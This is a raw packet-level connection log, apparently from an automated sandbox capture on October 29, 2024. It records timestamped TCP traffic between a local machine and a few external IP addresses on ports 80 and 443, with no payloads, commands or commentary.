Oct 29, 2024 20:36:19.913362026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.913378000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.913454056 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.913567066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.959276915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959301949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959325075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959345102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959357977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959368944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959381104 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959393024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959404945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.959446907 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.959485054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:24.192276955 CET	49982	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:24.192604065 CET	49984	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:24.198234081 CET	80	49982	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:24.198415995 CET	49982	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:24.198441982 CET	80	49984	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:24.198504925 CET	49984	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:24.198704958 CET	49984	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:24.204047918 CET	80	49984	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:24.639508009 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:24.639535904 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:24.639600992 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:24.640830994 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:24.640844107 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.104341984 CET	80	49984	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:25.104424953 CET	49984	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:25.107956886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:25.108290911 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:25.113647938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:25.113661051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:25.113698006 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:25.113745928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:25.113898993 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:25.119211912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:25.286997080 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.287074089 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.288677931 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.288690090 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.288944006 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.329049110 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.350145102 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.350213051 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.350292921 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.852679968 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.852777958 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.852833986 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.853317022 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.853337049 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.853390932 CET	49985	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.853399038 CET	443	49985	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.923425913 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.923450947 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:25.923556089 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.924000025 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:25.924011946 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:26.051999092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052037001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052073956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052117109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052128077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052196980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052196980 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.052220106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052253008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052264929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052278042 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.052303076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.052336931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.052345991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.052376032 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.058598042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.058609962 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.058620930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.058669090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.058725119 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.203707933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.203725100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.203778982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.203789949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.203835011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.203835011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.203861952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.203933954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.203944921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.203974962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.203991890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.204004049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.204052925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.204130888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.204169989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.204960108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.205009937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.205037117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.205073118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.205229998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.205277920 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.205300093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.205339909 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.322223902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.322285891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.322379112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.322391033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.322402954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.322415113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.322418928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.322449923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.323055029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.323067904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.323079109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.323097944 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.323136091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.323158026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.323174953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.323307991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.323307991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.355503082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.355571985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.355634928 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.355683088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.370007038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.370019913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.370032072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.370124102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.440037966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.440052032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.440063000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.440151930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.440203905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.440215111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.440262079 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.440339088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.440373898 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.440385103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.440433979 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.441220045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.441231012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.441241980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.441272020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.441301107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.473702908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.473716021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.473763943 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.487710953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.487757921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.487768888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.487785101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.487812996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.536695004 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:26.536813974 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:26.538614988 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:26.538621902 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:26.538868904 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:26.540317059 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:26.540350914 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:26.540395021 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:26.557981014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.558058023 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.558134079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.558145046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.558191061 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.558286905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.558303118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.558315992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.558326006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.558334112 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.558339119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.558381081 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.559026957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.559061050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.559071064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.559084892 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.559122086 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.591726065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.591754913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.591767073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.591866970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.591929913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.606262922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.606276035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.606286049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.606369972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.676023960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676047087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676058054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676141024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676260948 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.676260948 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.676301003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676347017 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.676440001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676451921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676462889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676496029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.676525116 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.676954031 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676965952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.676976919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.677006960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.677031994 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.709731102 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.709814072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.709847927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.709880114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.709896088 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.709916115 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.724015951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.724039078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.724088907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.724208117 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.794188023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.794202089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.794212103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.794262886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.794280052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.794291973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.794296980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.794302940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.794306993 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.794342995 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.794401884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.795084953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.795140028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.795140982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.795151949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.795183897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.828373909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.828387022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.828397989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.828567982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.842104912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.842183113 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.842221975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.842232943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.842243910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.842267036 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.842303991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.912213087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912255049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912266016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912283897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.912295103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912312984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.912319899 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.912342072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.912564993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912575006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912586927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912620068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.912643909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912657022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.912661076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.912693024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.913525105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.913572073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.945898056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.945960045 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.945971966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.945987940 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.946038008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.960201979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.960222960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.960236073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.960247040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.960357904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.960357904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.960504055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.960549116 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:26.960556984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:26.960597992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.022768021 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.022833109 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.022872925 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.022908926 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.022943974 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.022978067 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.023140907 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.023142099 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.023164988 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.023734093 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.023772955 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.023787022 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.023796082 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.023844004 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.030312061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.030359030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.030370951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.030385971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.030425072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.030534983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.030577898 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.030587912 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.030590057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.030622959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.030647039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.030673981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.030685902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.030720949 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.031493902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.031543970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.031547070 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.031555891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.031594038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.064207077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.064222097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.064232111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.064344883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.078283072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.078311920 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.078322887 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.078469992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.148775101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.148839951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.148850918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.148849964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.148885965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.148885965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.148902893 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.148909092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.148935080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.148957014 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.149190903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.149233103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.149244070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.149246931 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.149269104 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.149311066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.149317980 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.149327040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:27.149347067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.149394035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:27.150340080 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.150438070 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.150475979 CET	49987	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:27.150487900 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.150522947 CET	443	49987	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:27.150561094 CET	49987	443	192.168.2.7	188.114.96.3
